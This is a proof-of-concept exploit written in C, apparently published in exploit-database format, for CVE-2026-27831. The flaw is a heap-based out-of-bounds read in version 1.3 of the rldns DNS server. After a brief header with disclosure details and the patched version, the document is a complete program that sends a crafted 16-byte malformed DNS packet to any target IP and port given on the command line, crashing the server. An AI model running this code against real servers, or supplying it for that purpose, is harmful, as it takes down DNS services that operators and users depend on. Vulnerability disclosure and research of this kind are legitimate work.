/*
# Exploit Title: rldns-1.3 remote denial of service
# Google Dork: N/A
# Date: 2026-02-26
# Exploit Author: Antonius
# Vendor Homepage: https://indodev.asia
# Software Link: https://indodev.asia/downloads/rldns-1.3.tar.bz2
# Version: 1.3
# Tested on: Kali linux 2025
# CVE : CVE-2026-27831
# Description:
This is proof of concept exploit for remote heap based out-of-bound read at rldns version 1.3.
rldns is an open source DNS server for linux, freebsd & netbsd, running on x86_64 architecture.
Rldns Version 1.3 has a heap-based out-of-bounds read that leads to denial of service. Version 1.4 contains a patch for the issue.
Vulnerability discovered by : Antonius
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
int sock;
struct sockaddr_in server;
unsigned char packet[] = {0x12, 0x34, 0x34, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x41, 0x42, 0xff};
if (argc < 3) {
printf("[-] usage : ./exploit <target ip> <port number>");
exit(-1);
}
char *ip = argv[1];
int port = atoi(argv[2]);
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
perror("[-] failed to create socket");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(port);
inet_pton(AF_INET, ip, &server.sin_addr);
ssize_t sent = sendto(sock, packet, 16, 0, (const struct sockaddr *)&server, sizeof(server));
if (sent < 0) {
perror("Sendto failed");
} else {
printf("Successfully sent %zd bytes to %s:%d\n", sent, ip, port);
}
close(sock);
return 0;
}